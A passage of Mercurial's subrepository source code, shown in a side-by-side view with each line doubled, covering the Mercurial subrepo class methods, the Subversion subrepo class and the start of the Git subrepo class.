958 uipathfn,
959 after,
959 after,
960 force,
960 force,
961 subrepos,
961 subrepos,
962 dryrun,
962 dryrun,
963 )
963 )
964
964
965 @annotatesubrepoerror
965 @annotatesubrepoerror
966 def revert(self, substate, *pats, **opts):
966 def revert(self, substate, *pats, **opts):
967 # reverting a subrepo is a 2 step process:
967 # reverting a subrepo is a 2 step process:
968 # 1. if the no_backup is not set, revert all modified
968 # 1. if the no_backup is not set, revert all modified
969 # files inside the subrepo
969 # files inside the subrepo
970 # 2. update the subrepo to the revision specified in
970 # 2. update the subrepo to the revision specified in
971 # the corresponding substate dictionary
971 # the corresponding substate dictionary
972 self.ui.status(_(b'reverting subrepo %s\n') % substate[0])
972 self.ui.status(_(b'reverting subrepo %s\n') % substate[0])
973 if not opts.get('no_backup'):
973 if not opts.get('no_backup'):
974 # Revert all files on the subrepo, creating backups
974 # Revert all files on the subrepo, creating backups
975 # Note that this will not recursively revert subrepos
975 # Note that this will not recursively revert subrepos
976 # We could do it if there was a set:subrepos() predicate
976 # We could do it if there was a set:subrepos() predicate
977 opts = opts.copy()
977 opts = opts.copy()
978 opts['date'] = None
978 opts['date'] = None
979 opts['rev'] = substate[1]
979 opts['rev'] = substate[1]
980
980
981 self.filerevert(*pats, **opts)
981 self.filerevert(*pats, **opts)
982
982
983 # Update the repo to the revision specified in the given substate
983 # Update the repo to the revision specified in the given substate
984 if not opts.get('dry_run'):
984 if not opts.get('dry_run'):
985 self.get(substate, overwrite=True)
985 self.get(substate, overwrite=True)
986
986
987 def filerevert(self, *pats, **opts):
987 def filerevert(self, *pats, **opts):
988 ctx = self._repo[opts['rev']]
988 ctx = self._repo[opts['rev']]
989 parents = self._repo.dirstate.parents()
989 parents = self._repo.dirstate.parents()
990 if opts.get('all'):
990 if opts.get('all'):
991 pats = [b'set:modified()']
991 pats = [b'set:modified()']
992 else:
992 else:
993 pats = []
993 pats = []
994 cmdutil.revert(self.ui, self._repo, ctx, parents, *pats, **opts)
994 cmdutil.revert(self.ui, self._repo, ctx, parents, *pats, **opts)
995
995
996 def shortid(self, revid):
996 def shortid(self, revid):
997 return revid[:12]
997 return revid[:12]
998
998
999 @annotatesubrepoerror
999 @annotatesubrepoerror
1000 def unshare(self):
1000 def unshare(self):
1001 # subrepo inherently violates our import layering rules
1001 # subrepo inherently violates our import layering rules
1002 # because it wants to make repo objects from deep inside the stack
1002 # because it wants to make repo objects from deep inside the stack
1003 # so we manually delay the circular imports to not break
1003 # so we manually delay the circular imports to not break
1004 # scripts that don't use our demand-loading
1004 # scripts that don't use our demand-loading
1005 global hg
1005 global hg
1006 from . import hg as h
1006 from . import hg as h
1007
1007
1008 hg = h
1008 hg = h
1009
1009
1010 # Nothing prevents a user from sharing in a repo, and then making that a
1010 # Nothing prevents a user from sharing in a repo, and then making that a
1011 # subrepo. Alternately, the previous unshare attempt may have failed
1011 # subrepo. Alternately, the previous unshare attempt may have failed
1012 # part way through. So recurse whether or not this layer is shared.
1012 # part way through. So recurse whether or not this layer is shared.
1013 if self._repo.shared():
1013 if self._repo.shared():
1014 self.ui.status(_(b"unsharing subrepo '%s'\n") % self._relpath)
1014 self.ui.status(_(b"unsharing subrepo '%s'\n") % self._relpath)
1015
1015
1016 hg.unshare(self.ui, self._repo)
1016 hg.unshare(self.ui, self._repo)
1017
1017
1018 def verify(self, onpush=False):
1018 def verify(self, onpush=False):
1019 try:
1019 try:
1020 rev = self._state[1]
1020 rev = self._state[1]
1021 ctx = self._repo.unfiltered()[rev]
1021 ctx = self._repo.unfiltered()[rev]
1022 if ctx.hidden():
1022 if ctx.hidden():
1023 # Since hidden revisions aren't pushed/pulled, it seems worth an
1023 # Since hidden revisions aren't pushed/pulled, it seems worth an
1024 # explicit warning.
1024 # explicit warning.
1025 msg = _(b"subrepo '%s' is hidden in revision %s") % (
1025 msg = _(b"subrepo '%s' is hidden in revision %s") % (
1026 self._relpath,
1026 self._relpath,
1027 node.short(self._ctx.node()),
1027 node.short(self._ctx.node()),
1028 )
1028 )
1029
1029
1030 if onpush:
1030 if onpush:
1031 raise error.Abort(msg)
1031 raise error.Abort(msg)
1032 else:
1032 else:
1033 self._repo.ui.warn(b'%s\n' % msg)
1033 self._repo.ui.warn(b'%s\n' % msg)
1034 return 0
1034 return 0
1035 except error.RepoLookupError:
1035 except error.RepoLookupError:
1036 # A missing subrepo revision may be a case of needing to pull it, so
1036 # A missing subrepo revision may be a case of needing to pull it, so
1037 # don't treat this as an error for `hg verify`.
1037 # don't treat this as an error for `hg verify`.
1038 msg = _(b"subrepo '%s' not found in revision %s") % (
1038 msg = _(b"subrepo '%s' not found in revision %s") % (
1039 self._relpath,
1039 self._relpath,
1040 node.short(self._ctx.node()),
1040 node.short(self._ctx.node()),
1041 )
1041 )
1042
1042
1043 if onpush:
1043 if onpush:
1044 raise error.Abort(msg)
1044 raise error.Abort(msg)
1045 else:
1045 else:
1046 self._repo.ui.warn(b'%s\n' % msg)
1046 self._repo.ui.warn(b'%s\n' % msg)
1047 return 0
1047 return 0
1048
1048
1049 @propertycache
1049 @propertycache
1050 def wvfs(self):
1050 def wvfs(self):
1051 """return own wvfs for efficiency and consistency
1051 """return own wvfs for efficiency and consistency
1052 """
1052 """
1053 return self._repo.wvfs
1053 return self._repo.wvfs
1054
1054
1055 @propertycache
1055 @propertycache
1056 def _relpath(self):
1056 def _relpath(self):
1057 """return path to this subrepository as seen from outermost repository
1057 """return path to this subrepository as seen from outermost repository
1058 """
1058 """
1059 # Keep consistent dir separators by avoiding vfs.join(self._path)
1059 # Keep consistent dir separators by avoiding vfs.join(self._path)
1060 return reporelpath(self._repo)
1060 return reporelpath(self._repo)
1061
1061
1062
1062
1063 class svnsubrepo(abstractsubrepo):
1063 class svnsubrepo(abstractsubrepo):
1064 def __init__(self, ctx, path, state, allowcreate):
1064 def __init__(self, ctx, path, state, allowcreate):
1065 super(svnsubrepo, self).__init__(ctx, path)
1065 super(svnsubrepo, self).__init__(ctx, path)
1066 self._state = state
1066 self._state = state
1067 self._exe = procutil.findexe(b'svn')
1067 self._exe = procutil.findexe(b'svn')
1068 if not self._exe:
1068 if not self._exe:
1069 raise error.Abort(
1069 raise error.Abort(
1070 _(b"'svn' executable not found for subrepo '%s'") % self._path
1070 _(b"'svn' executable not found for subrepo '%s'") % self._path
1071 )
1071 )
1072
1072
1073 def _svncommand(self, commands, filename=b'', failok=False):
1073 def _svncommand(self, commands, filename=b'', failok=False):
1074 cmd = [self._exe]
1074 cmd = [self._exe]
1075 extrakw = {}
1075 extrakw = {}
1076 if not self.ui.interactive():
1076 if not self.ui.interactive():
1077 # Making stdin be a pipe should prevent svn from behaving
1077 # Making stdin be a pipe should prevent svn from behaving
1078 # interactively even if we can't pass --non-interactive.
1078 # interactively even if we can't pass --non-interactive.
1079 extrakw['stdin'] = subprocess.PIPE
1079 extrakw['stdin'] = subprocess.PIPE
1080 # Starting in svn 1.5 --non-interactive is a global flag
1080 # Starting in svn 1.5 --non-interactive is a global flag
1081 # instead of being per-command, but we need to support 1.4 so
1081 # instead of being per-command, but we need to support 1.4 so
1082 # we have to be intelligent about what commands take
1082 # we have to be intelligent about what commands take
1083 # --non-interactive.
1083 # --non-interactive.
1084 if commands[0] in (b'update', b'checkout', b'commit'):
1084 if commands[0] in (b'update', b'checkout', b'commit'):
1085 cmd.append(b'--non-interactive')
1085 cmd.append(b'--non-interactive')
1086 cmd.extend(commands)
1086 cmd.extend(commands)
1087 if filename is not None:
1087 if filename is not None:
1088 path = self.wvfs.reljoin(
1088 path = self.wvfs.reljoin(
1089 self._ctx.repo().origroot, self._path, filename
1089 self._ctx.repo().origroot, self._path, filename
1090 )
1090 )
1091 cmd.append(path)
1091 cmd.append(path)
1092 env = dict(encoding.environ)
1092 env = dict(encoding.environ)
1093 # Avoid localized output, preserve current locale for everything else.
1093 # Avoid localized output, preserve current locale for everything else.
1094 lc_all = env.get(b'LC_ALL')
1094 lc_all = env.get(b'LC_ALL')
1095 if lc_all:
1095 if lc_all:
1096 env[b'LANG'] = lc_all
1096 env[b'LANG'] = lc_all
1097 del env[b'LC_ALL']
1097 del env[b'LC_ALL']
1098 env[b'LC_MESSAGES'] = b'C'
1098 env[b'LC_MESSAGES'] = b'C'
1099 p = subprocess.Popen(
1099 p = subprocess.Popen(
1100 pycompat.rapply(procutil.tonativestr, cmd),
1100 pycompat.rapply(procutil.tonativestr, cmd),
1101 bufsize=-1,
1101 bufsize=-1,
1102 close_fds=procutil.closefds,
1102 close_fds=procutil.closefds,
1103 stdout=subprocess.PIPE,
1103 stdout=subprocess.PIPE,
1104 stderr=subprocess.PIPE,
1104 stderr=subprocess.PIPE,
1105 env=procutil.tonativeenv(env),
1105 env=procutil.tonativeenv(env),
1106 **extrakw
1106 **extrakw
1107 )
1107 )
1108 stdout, stderr = map(util.fromnativeeol, p.communicate())
1108 stdout, stderr = map(util.fromnativeeol, p.communicate())
1109 stderr = stderr.strip()
1109 stderr = stderr.strip()
1110 if not failok:
1110 if not failok:
1111 if p.returncode:
1111 if p.returncode:
1112 raise error.Abort(
1112 raise error.Abort(
1113 stderr or b'exited with code %d' % p.returncode
1113 stderr or b'exited with code %d' % p.returncode
1114 )
1114 )
1115 if stderr:
1115 if stderr:
1116 self.ui.warn(stderr + b'\n')
1116 self.ui.warn(stderr + b'\n')
1117 return stdout, stderr
1117 return stdout, stderr
1118
1118
1119 @propertycache
1119 @propertycache
1120 def _svnversion(self):
1120 def _svnversion(self):
1121 output, err = self._svncommand(
1121 output, err = self._svncommand(
1122 [b'--version', b'--quiet'], filename=None
1122 [b'--version', b'--quiet'], filename=None
1123 )
1123 )
1124 m = re.search(br'^(\d+)\.(\d+)', output)
1124 m = re.search(br'^(\d+)\.(\d+)', output)
1125 if not m:
1125 if not m:
1126 raise error.Abort(_(b'cannot retrieve svn tool version'))
1126 raise error.Abort(_(b'cannot retrieve svn tool version'))
1127 return (int(m.group(1)), int(m.group(2)))
1127 return (int(m.group(1)), int(m.group(2)))
1128
1128
1129 def _svnmissing(self):
1129 def _svnmissing(self):
1130 return not self.wvfs.exists(b'.svn')
1130 return not self.wvfs.exists(b'.svn')
1131
1131
1132 def _wcrevs(self):
1132 def _wcrevs(self):
1133 # Get the working directory revision as well as the last
1133 # Get the working directory revision as well as the last
1134 # commit revision so we can compare the subrepo state with
1134 # commit revision so we can compare the subrepo state with
1135 # both. We used to store the working directory one.
1135 # both. We used to store the working directory one.
1136 output, err = self._svncommand([b'info', b'--xml'])
1136 output, err = self._svncommand([b'info', b'--xml'])
1137 doc = xml.dom.minidom.parseString(output)
1137 doc = xml.dom.minidom.parseString(output)
1138 entries = doc.getElementsByTagName('entry')
1138 entries = doc.getElementsByTagName('entry')
1139 lastrev, rev = b'0', b'0'
1139 lastrev, rev = b'0', b'0'
1140 if entries:
1140 if entries:
1141 rev = pycompat.bytestr(entries[0].getAttribute('revision')) or b'0'
1141 rev = pycompat.bytestr(entries[0].getAttribute('revision')) or b'0'
1142 commits = entries[0].getElementsByTagName('commit')
1142 commits = entries[0].getElementsByTagName('commit')
1143 if commits:
1143 if commits:
1144 lastrev = (
1144 lastrev = (
1145 pycompat.bytestr(commits[0].getAttribute('revision'))
1145 pycompat.bytestr(commits[0].getAttribute('revision'))
1146 or b'0'
1146 or b'0'
1147 )
1147 )
1148 return (lastrev, rev)
1148 return (lastrev, rev)
1149
1149
1150 def _wcrev(self):
1150 def _wcrev(self):
1151 return self._wcrevs()[0]
1151 return self._wcrevs()[0]
1152
1152
1153 def _wcchanged(self):
1153 def _wcchanged(self):
1154 """Return (changes, extchanges, missing) where changes is True
1154 """Return (changes, extchanges, missing) where changes is True
1155 if the working directory was changed, extchanges is
1155 if the working directory was changed, extchanges is
1156 True if any of these changes concern an external entry and missing
1156 True if any of these changes concern an external entry and missing
1157 is True if any change is a missing entry.
1157 is True if any change is a missing entry.
1158 """
1158 """
1159 output, err = self._svncommand([b'status', b'--xml'])
1159 output, err = self._svncommand([b'status', b'--xml'])
1160 externals, changes, missing = [], [], []
1160 externals, changes, missing = [], [], []
1161 doc = xml.dom.minidom.parseString(output)
1161 doc = xml.dom.minidom.parseString(output)
1162 for e in doc.getElementsByTagName('entry'):
1162 for e in doc.getElementsByTagName('entry'):
1163 s = e.getElementsByTagName('wc-status')
1163 s = e.getElementsByTagName('wc-status')
1164 if not s:
1164 if not s:
1165 continue
1165 continue
1166 item = s[0].getAttribute('item')
1166 item = s[0].getAttribute('item')
1167 props = s[0].getAttribute('props')
1167 props = s[0].getAttribute('props')
1168 path = e.getAttribute('path').encode('utf8')
1168 path = e.getAttribute('path').encode('utf8')
1169 if item == 'external':
1169 if item == 'external':
1170 externals.append(path)
1170 externals.append(path)
1171 elif item == 'missing':
1171 elif item == 'missing':
1172 missing.append(path)
1172 missing.append(path)
1173 if item not in (
1173 if item not in (
1174 '',
1174 '',
1175 'normal',
1175 'normal',
1176 'unversioned',
1176 'unversioned',
1177 'external',
1177 'external',
1178 ) or props not in ('', 'none', 'normal'):
1178 ) or props not in ('', 'none', 'normal'):
1179 changes.append(path)
1179 changes.append(path)
1180 for path in changes:
1180 for path in changes:
1181 for ext in externals:
1181 for ext in externals:
1182 if path == ext or path.startswith(ext + pycompat.ossep):
1182 if path == ext or path.startswith(ext + pycompat.ossep):
1183 return True, True, bool(missing)
1183 return True, True, bool(missing)
1184 return bool(changes), False, bool(missing)
1184 return bool(changes), False, bool(missing)
1185
1185
1186 @annotatesubrepoerror
1186 @annotatesubrepoerror
1187 def dirty(self, ignoreupdate=False, missing=False):
1187 def dirty(self, ignoreupdate=False, missing=False):
1188 if self._svnmissing():
1188 if self._svnmissing():
1189 return self._state[1] != b''
1189 return self._state[1] != b''
1190 wcchanged = self._wcchanged()
1190 wcchanged = self._wcchanged()
1191 changed = wcchanged[0] or (missing and wcchanged[2])
1191 changed = wcchanged[0] or (missing and wcchanged[2])
1192 if not changed:
1192 if not changed:
1193 if self._state[1] in self._wcrevs() or ignoreupdate:
1193 if self._state[1] in self._wcrevs() or ignoreupdate:
1194 return False
1194 return False
1195 return True
1195 return True
1196
1196
1197 def basestate(self):
1197 def basestate(self):
1198 lastrev, rev = self._wcrevs()
1198 lastrev, rev = self._wcrevs()
1199 if lastrev != rev:
1199 if lastrev != rev:
1200 # Last committed rev is not the same than rev. We would
1200 # Last committed rev is not the same than rev. We would
1201 # like to take lastrev but we do not know if the subrepo
1201 # like to take lastrev but we do not know if the subrepo
1202 # URL exists at lastrev. Test it and fallback to rev it
1202 # URL exists at lastrev. Test it and fallback to rev it
1203 # is not there.
1203 # is not there.
1204 try:
1204 try:
1205 self._svncommand(
1205 self._svncommand(
1206 [b'list', b'%s@%s' % (self._state[0], lastrev)]
1206 [b'list', b'%s@%s' % (self._state[0], lastrev)]
1207 )
1207 )
1208 return lastrev
1208 return lastrev
1209 except error.Abort:
1209 except error.Abort:
1210 pass
1210 pass
1211 return rev
1211 return rev
1212
1212
1213 @annotatesubrepoerror
1213 @annotatesubrepoerror
1214 def commit(self, text, user, date):
1214 def commit(self, text, user, date):
1215 # user and date are out of our hands since svn is centralized
1215 # user and date are out of our hands since svn is centralized
1216 changed, extchanged, missing = self._wcchanged()
1216 changed, extchanged, missing = self._wcchanged()
1217 if not changed:
1217 if not changed:
1218 return self.basestate()
1218 return self.basestate()
1219 if extchanged:
1219 if extchanged:
1220 # Do not try to commit externals
1220 # Do not try to commit externals
1221 raise error.Abort(_(b'cannot commit svn externals'))
1221 raise error.Abort(_(b'cannot commit svn externals'))
1222 if missing:
1222 if missing:
1223 # svn can commit with missing entries but aborting like hg
1223 # svn can commit with missing entries but aborting like hg
1224 # seems a better approach.
1224 # seems a better approach.
1225 raise error.Abort(_(b'cannot commit missing svn entries'))
1225 raise error.Abort(_(b'cannot commit missing svn entries'))
1226 commitinfo, err = self._svncommand([b'commit', b'-m', text])
1226 commitinfo, err = self._svncommand([b'commit', b'-m', text])
1227 self.ui.status(commitinfo)
1227 self.ui.status(commitinfo)
1228 newrev = re.search(b'Committed revision ([0-9]+).', commitinfo)
1228 newrev = re.search(b'Committed revision ([0-9]+).', commitinfo)
1229 if not newrev:
1229 if not newrev:
1230 if not commitinfo.strip():
1230 if not commitinfo.strip():
1231 # Sometimes, our definition of "changed" differs from
1231 # Sometimes, our definition of "changed" differs from
1232 # svn one. For instance, svn ignores missing files
1232 # svn one. For instance, svn ignores missing files
1233 # when committing. If there are only missing files, no
1233 # when committing. If there are only missing files, no
1234 # commit is made, no output and no error code.
1234 # commit is made, no output and no error code.
1235 raise error.Abort(_(b'failed to commit svn changes'))
1235 raise error.Abort(_(b'failed to commit svn changes'))
1236 raise error.Abort(commitinfo.splitlines()[-1])
1236 raise error.Abort(commitinfo.splitlines()[-1])
1237 newrev = newrev.groups()[0]
1237 newrev = newrev.groups()[0]
1238 self.ui.status(self._svncommand([b'update', b'-r', newrev])[0])
1238 self.ui.status(self._svncommand([b'update', b'-r', newrev])[0])
1239 return newrev
1239 return newrev
1240
1240
1241 @annotatesubrepoerror
1241 @annotatesubrepoerror
1242 def remove(self):
1242 def remove(self):
1243 if self.dirty():
1243 if self.dirty():
1244 self.ui.warn(
1244 self.ui.warn(
1245 _(b'not removing repo %s because it has changes.\n')
1245 _(b'not removing repo %s because it has changes.\n')
1246 % self._path
1246 % self._path
1247 )
1247 )
1248 return
1248 return
1249 self.ui.note(_(b'removing subrepo %s\n') % self._path)
1249 self.ui.note(_(b'removing subrepo %s\n') % self._path)
1250
1250
1251 self.wvfs.rmtree(forcibly=True)
1251 self.wvfs.rmtree(forcibly=True)
1252 try:
1252 try:
1253 pwvfs = self._ctx.repo().wvfs
1253 pwvfs = self._ctx.repo().wvfs
1254 pwvfs.removedirs(pwvfs.dirname(self._path))
1254 pwvfs.removedirs(pwvfs.dirname(self._path))
1255 except OSError:
1255 except OSError:
1256 pass
1256 pass
1257
1257
1258 @annotatesubrepoerror
1258 @annotatesubrepoerror
1259 def get(self, state, overwrite=False):
1259 def get(self, state, overwrite=False):
1260 if overwrite:
1260 if overwrite:
1261 self._svncommand([b'revert', b'--recursive'])
1261 self._svncommand([b'revert', b'--recursive'])
1262 args = [b'checkout']
1262 args = [b'checkout']
1263 if self._svnversion >= (1, 5):
1263 if self._svnversion >= (1, 5):
1264 args.append(b'--force')
1264 args.append(b'--force')
1265 # The revision must be specified at the end of the URL to properly
1265 # The revision must be specified at the end of the URL to properly
1266 # update to a directory which has since been deleted and recreated.
1266 # update to a directory which has since been deleted and recreated.
1267 args.append(b'%s@%s' % (state[0], state[1]))
1267 args.append(b'%s@%s' % (state[0], state[1]))
1268
1268
1269 # SEC: check that the ssh url is safe
1269 # SEC: check that the ssh url is safe
1270 util.checksafessh(state[0])
1270 util.checksafessh(state[0])
1271
1271
1272 status, err = self._svncommand(args, failok=True)
1272 status, err = self._svncommand(args, failok=True)
1273 _sanitize(self.ui, self.wvfs, b'.svn')
1273 _sanitize(self.ui, self.wvfs, b'.svn')
1274 if not re.search(b'Checked out revision [0-9]+.', status):
1274 if not re.search(b'Checked out revision [0-9]+.', status):
1275 if b'is already a working copy for a different URL' in err and (
1275 if b'is already a working copy for a different URL' in err and (
1276 self._wcchanged()[:2] == (False, False)
1276 self._wcchanged()[:2] == (False, False)
1277 ):
1277 ):
1278 # obstructed but clean working copy, so just blow it away.
1278 # obstructed but clean working copy, so just blow it away.
1279 self.remove()
1279 self.remove()
1280 self.get(state, overwrite=False)
1280 self.get(state, overwrite=False)
1281 return
1281 return
1282 raise error.Abort((status or err).splitlines()[-1])
1282 raise error.Abort((status or err).splitlines()[-1])
1283 self.ui.status(status)
1283 self.ui.status(status)
1284
1284
1285 @annotatesubrepoerror
1285 @annotatesubrepoerror
1286 def merge(self, state):
1286 def merge(self, state):
1287 old = self._state[1]
1287 old = self._state[1]
1288 new = state[1]
1288 new = state[1]
1289 wcrev = self._wcrev()
1289 wcrev = self._wcrev()
1290 if new != wcrev:
1290 if new != wcrev:
1291 dirty = old == wcrev or self._wcchanged()[0]
1291 dirty = old == wcrev or self._wcchanged()[0]
1292 if _updateprompt(self.ui, self, dirty, wcrev, new):
1292 if _updateprompt(self.ui, self, dirty, wcrev, new):
1293 self.get(state, False)
1293 self.get(state, False)
1294
1294
1295 def push(self, opts):
1295 def push(self, opts):
1296 # push is a no-op for SVN
1296 # push is a no-op for SVN
1297 return True
1297 return True
1298
1298
1299 @annotatesubrepoerror
1299 @annotatesubrepoerror
1300 def files(self):
1300 def files(self):
1301 output = self._svncommand([b'list', b'--recursive', b'--xml'])[0]
1301 output = self._svncommand([b'list', b'--recursive', b'--xml'])[0]
1302 doc = xml.dom.minidom.parseString(output)
1302 doc = xml.dom.minidom.parseString(output)
1303 paths = []
1303 paths = []
1304 for e in doc.getElementsByTagName('entry'):
1304 for e in doc.getElementsByTagName('entry'):
1305 kind = pycompat.bytestr(e.getAttribute('kind'))
1305 kind = pycompat.bytestr(e.getAttribute('kind'))
1306 if kind != b'file':
1306 if kind != b'file':
1307 continue
1307 continue
1308 name = ''.join(
1308 name = ''.join(
1309 c.data
1309 c.data
1310 for c in e.getElementsByTagName('name')[0].childNodes
1310 for c in e.getElementsByTagName('name')[0].childNodes
1311 if c.nodeType == c.TEXT_NODE
1311 if c.nodeType == c.TEXT_NODE
1312 )
1312 )
1313 paths.append(name.encode('utf8'))
1313 paths.append(name.encode('utf8'))
1314 return paths
1314 return paths
1315
1315
1316 def filedata(self, name, decode):
1316 def filedata(self, name, decode):
1317 return self._svncommand([b'cat'], name)[0]
1317 return self._svncommand([b'cat'], name)[0]
1318
1318
1319
1319
1320 class gitsubrepo(abstractsubrepo):
1320 class gitsubrepo(abstractsubrepo):
1321 def __init__(self, ctx, path, state, allowcreate):
1321 def __init__(self, ctx, path, state, allowcreate):
1322 super(gitsubrepo, self).__init__(ctx, path)
1322 super(gitsubrepo, self).__init__(ctx, path)
1323 self._state = state
1323 self._state = state
1324 self._abspath = ctx.repo().wjoin(path)
1324 self._abspath = ctx.repo().wjoin(path)
1325 self._subparent = ctx.repo()
1325 self._subparent = ctx.repo()
1326 self._ensuregit()
1326 self._ensuregit()
1327
1327
1328 def _ensuregit(self):
1328 def _ensuregit(self):
1329 try:
1329 try:
1330 self._gitexecutable = b'git'
1330 self._gitexecutable = b'git'
1331 out, err = self._gitnodir([b'--version'])
1331 out, err = self._gitnodir([b'--version'])
1332 except OSError as e:
1332 except OSError as e:
1333 genericerror = _(b"error executing git for subrepo '%s': %s")
1333 genericerror = _(b"error executing git for subrepo '%s': %s")
1334 notfoundhint = _(b"check git is installed and in your PATH")
1334 notfoundhint = _(b"check git is installed and in your PATH")
1335 if e.errno != errno.ENOENT:
1335 if e.errno != errno.ENOENT:
1336 raise error.Abort(
1336 raise error.Abort(
1337 genericerror % (self._path, encoding.strtolocal(e.strerror))
1337 genericerror % (self._path, encoding.strtolocal(e.strerror))
1338 )
1338 )
1339 elif pycompat.iswindows:
1339 elif pycompat.iswindows:
1340 try:
1340 try:
1341 self._gitexecutable = b'git.cmd'
1341 self._gitexecutable = b'git.cmd'
1342 out, err = self._gitnodir([b'--version'])
1342 out, err = self._gitnodir([b'--version'])
1343 except OSError as e2:
1343 except OSError as e2:
1344 if e2.errno == errno.ENOENT:
1344 if e2.errno == errno.ENOENT:
1345 raise error.Abort(
1345 raise error.Abort(
1346 _(
1346 _(
1347 b"couldn't find 'git' or 'git.cmd'"
1347 b"couldn't find 'git' or 'git.cmd'"
1348 b" for subrepo '%s'"
1348 b" for subrepo '%s'"
1349 )
1349 )
1350 % self._path,
1350 % self._path,
1351 hint=notfoundhint,
1351 hint=notfoundhint,
1352 )
1352 )
1353 else:
1353 else:
1354 raise error.Abort(
1354 raise error.Abort(
1355 genericerror
1355 genericerror
1356 % (self._path, encoding.strtolocal(e2.strerror))
1356 % (self._path, encoding.strtolocal(e2.strerror))
1357 )
1357 )
1358 else:
1358 else:
1359 raise error.Abort(
1359 raise error.Abort(
1360 _(b"couldn't find git for subrepo '%s'") % self._path,
1360 _(b"couldn't find git for subrepo '%s'") % self._path,
1361 hint=notfoundhint,
1361 hint=notfoundhint,
1362 )
1362 )
1363 versionstatus = self._checkversion(out)
1363 versionstatus = self._checkversion(out)
1364 if versionstatus == b'unknown':
1364 if versionstatus == b'unknown':
1365 self.ui.warn(_(b'cannot retrieve git version\n'))
1365 self.ui.warn(_(b'cannot retrieve git version\n'))
1366 elif versionstatus == b'abort':
1366 elif versionstatus == b'abort':
1367 raise error.Abort(
1367 raise error.Abort(
1368 _(b'git subrepo requires at least 1.6.0 or later')
1368 _(b'git subrepo requires at least 1.6.0 or later')
1369 )
1369 )
1370 elif versionstatus == b'warning':
1370 elif versionstatus == b'warning':
1371 self.ui.warn(_(b'git subrepo requires at least 1.6.0 or later\n'))
1371 self.ui.warn(_(b'git subrepo requires at least 1.6.0 or later\n'))
1372
1372
1373 @staticmethod
1373 @staticmethod
1374 def _gitversion(out):
1374 def _gitversion(out):
1375 m = re.search(br'^git version (\d+)\.(\d+)\.(\d+)', out)
1375 m = re.search(br'^git version (\d+)\.(\d+)\.(\d+)', out)
1376 if m:
1376 if m:
1377 return (int(m.group(1)), int(m.group(2)), int(m.group(3)))
1377 return (int(m.group(1)), int(m.group(2)), int(m.group(3)))
1378
1378
1379 m = re.search(br'^git version (\d+)\.(\d+)', out)
1379 m = re.search(br'^git version (\d+)\.(\d+)', out)
1380 if m:
1380 if m:
1381 return (int(m.group(1)), int(m.group(2)), 0)
1381 return (int(m.group(1)), int(m.group(2)), 0)
1382
1382
1383 return -1
1383 return -1
1384
1384
1385 @staticmethod
1385 @staticmethod
1386 def _checkversion(out):
1386 def _checkversion(out):
1387 '''ensure git version is new enough
1387 '''ensure git version is new enough
1388
1388
1389 >>> _checkversion = gitsubrepo._checkversion
1389 >>> _checkversion = gitsubrepo._checkversion
1390 >>> _checkversion(b'git version 1.6.0')
1390 >>> _checkversion(b'git version 1.6.0')
1391 'ok'
1391 'ok'
1392 >>> _checkversion(b'git version 1.8.5')
1392 >>> _checkversion(b'git version 1.8.5')
1393 'ok'
1393 'ok'
1394 >>> _checkversion(b'git version 1.4.0')
1394 >>> _checkversion(b'git version 1.4.0')
1395 'abort'
1395 'abort'
1396 >>> _checkversion(b'git version 1.5.0')
1396 >>> _checkversion(b'git version 1.5.0')
1397 'warning'
1397 'warning'
1398 >>> _checkversion(b'git version 1.9-rc0')
1398 >>> _checkversion(b'git version 1.9-rc0')
1399 'ok'
1399 'ok'
1400 >>> _checkversion(b'git version 1.9.0.265.g81cdec2')
1400 >>> _checkversion(b'git version 1.9.0.265.g81cdec2')
1401 'ok'
1401 'ok'
1402 >>> _checkversion(b'git version 1.9.0.GIT')
1402 >>> _checkversion(b'git version 1.9.0.GIT')
1403 'ok'
1403 'ok'
1404 >>> _checkversion(b'git version 12345')
1404 >>> _checkversion(b'git version 12345')
1405 'unknown'
1405 'unknown'
1406 >>> _checkversion(b'no')
1406 >>> _checkversion(b'no')
1407 'unknown'
1407 'unknown'
1408 '''
1408 '''
1409 version = gitsubrepo._gitversion(out)
1409 version = gitsubrepo._gitversion(out)
1410 # git 1.4.0 can't work at all, but 1.5.X can in at least some cases,
1410 # git 1.4.0 can't work at all, but 1.5.X can in at least some cases,
1411 # despite the docstring comment. For now, error on 1.4.0, warn on
1411 # despite the docstring comment. For now, error on 1.4.0, warn on
1412 # 1.5.0 but attempt to continue.
1412 # 1.5.0 but attempt to continue.
1413 if version == -1:
1413 if version == -1:
1414 return b'unknown'
1414 return b'unknown'
1415 if version < (1, 5, 0):
1415 if version < (1, 5, 0):
1416 return b'abort'
1416 return b'abort'
1417 elif version < (1, 6, 0):
1417 elif version < (1, 6, 0):
1418 return b'warning'
1418 return b'warning'
1419 return b'ok'
1419 return b'ok'
1420
1420
1421 def _gitcommand(self, commands, env=None, stream=False):
1421 def _gitcommand(self, commands, env=None, stream=False):
1422 return self._gitdir(commands, env=env, stream=stream)[0]
1422 return self._gitdir(commands, env=env, stream=stream)[0]
1423
1423
1424 def _gitdir(self, commands, env=None, stream=False):
1424 def _gitdir(self, commands, env=None, stream=False):
1425 return self._gitnodir(
1425 return self._gitnodir(
1426 commands, env=env, stream=stream, cwd=self._abspath
1426 commands, env=env, stream=stream, cwd=self._abspath
1427 )
1427 )
1428
1428
1429 def _gitnodir(self, commands, env=None, stream=False, cwd=None):
1429 def _gitnodir(self, commands, env=None, stream=False, cwd=None):
1430 """Calls the git command
1430 """Calls the git command
1431
1431
1432 The methods tries to call the git command. versions prior to 1.6.0
1432 The methods tries to call the git command. versions prior to 1.6.0
1433 are not supported and very probably fail.
1433 are not supported and very probably fail.
1434 """
1434 """
1435 self.ui.debug(b'%s: git %s\n' % (self._relpath, b' '.join(commands)))
1435 self.ui.debug(b'%s: git %s\n' % (self._relpath, b' '.join(commands)))
1436 if env is None:
1436 if env is None:
1437 env = encoding.environ.copy()
1437 env = encoding.environ.copy()
1438 # disable localization for Git output (issue5176)
1438 # disable localization for Git output (issue5176)
1439 env[b'LC_ALL'] = b'C'
1439 env[b'LC_ALL'] = b'C'
1440 # fix for Git CVE-2015-7545
1440 # fix for Git CVE-2015-7545
1441 if b'GIT_ALLOW_PROTOCOL' not in env:
1441 if b'GIT_ALLOW_PROTOCOL' not in env:
1442 env[b'GIT_ALLOW_PROTOCOL'] = b'file:git:http:https:ssh'
1442 env[b'GIT_ALLOW_PROTOCOL'] = b'file:git:http:https:ssh'
1443 # unless ui.quiet is set, print git's stderr,
1443 # unless ui.quiet is set, print git's stderr,
1444 # which is mostly progress and useful info
1444 # which is mostly progress and useful info
1445 errpipe = None
1445 errpipe = None
1446 if self.ui.quiet:
1446 if self.ui.quiet:
